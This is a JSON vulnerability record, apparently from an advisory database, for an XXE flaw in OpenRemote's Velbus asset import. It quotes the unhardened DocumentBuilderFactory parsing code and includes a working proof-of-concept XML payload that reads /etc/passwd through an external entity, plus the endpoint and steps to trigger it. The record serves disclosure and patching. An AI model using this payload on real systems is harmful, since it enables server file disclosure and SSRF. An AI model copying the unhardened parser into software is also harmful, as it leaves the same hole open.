{"id":"CVE-2026-40882","aliases":["GHSA-g24f-mgc3-jwwc"],"url":"https://o3.security/vulnerability/CVE-2026-40882","summary":"OpenRemote has XXE in Velbus Asset Import","details":"### Summary\nThe Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters.\n\n### Details\nVelbus import uses `DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...)` on untrusted XML input, without explicit safeguards to disable DTD/external entities.\n\n```154:165:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java\n    @Override\n    public Future<Void> startAssetImport(byte[] fileData, Consumer<AssetTreeNode[]> assetConsumer) {\n\n        return executorService.submit(() -> {\n            Document xmlDoc;\n            try {\n                String xmlStr = new String(fileData, StandardCharsets.UTF_8);\n                LOG.info(\"Parsing VELBUS project file\");\n\n                xmlDoc = DocumentBuilderFactory\n                    .newInstance()\n                    .newDocumentBuilder()\n                    .parse(new InputSource(new StringReader(xmlStr)));\n```\n\nExpanded `Caption` content is propagated into created asset names:\n\n```193:198:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java\n                String name = module.getElementsByTagName(\"Caption\").item(0).getTextContent();\n                name = isNullOrEmpty(name) ? deviceType.toString() : name;\n\n                // TODO: Use device specific asset types\n                Asset<?> device = new ThingAsset(name);\n```\n\n### PoC\n1. Log in to a realm with a user that can call Velbus asset import.\n2. Create/select a Velbus TCP Agent in that same realm.\n3. Send `POST /api/{realm}/agent/assetImport/{agentId}` with a Velbus project XML payload and compare behavior against a baseline import file.\n3. Save the below code as a `xxe.xml` and upload to `Setup` under `https://localhost/manager/?realm=<YOUR_REALM>#/assets/false/<ASSET_ID>`. Chnage the `file:///etc/passwd` to another file if your `passwd` is longer than 1023 characters.\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE velbus [\n  <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n]>\n<Project>\n  <Module type=\"VMB1RY\" address=\"01\" build=\"00\" serial=\"LAB\">\n    <Caption>&xxe;</Caption>\n  </Module>\n</Project>\n```\n\nAs long as the file content is under 1023 characters, the exploit will succeed.\n<img width=\"1200\" height=\"662\" alt=\"image\" src=\"https://github.com/user-attachments/assets/213f063d-98b6-4717-b98c-f4255952026b\" />\n\nIf the file content reaches the limit, an error is thrown.\n<img width=\"1200\" height=\"630\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ee177a6b-2cb2-48ae-94df-c994ecb41429\" />\n\n\n### Impact\n- **Type:** XML External Entity (XXE)\n- **Affected:** Deployments exposing Velbus import to authenticated users with import access\n- **Risk:** limited local file disclosure (as long as the file is under 1023 characters) from the Manager runtime, and SSRF.","published":"2026-04-22T20:33:23.304Z","modified":"2026-08-12T16:24:08.807378Z","cvss":{"score":7.6,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Maven","name":"io.openremote:openremote-manager","fixedVersion":"1.22.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40882.json"},{"type":"ADVISORY","url":"https://github.com/openremote/openremote/security/advisories/GHSA-g24f-mgc3-jwwc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40882"},{"type":"PACKAGE","url":"https://github.com/openremote/openremote"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T16:24:08.807378Z"}}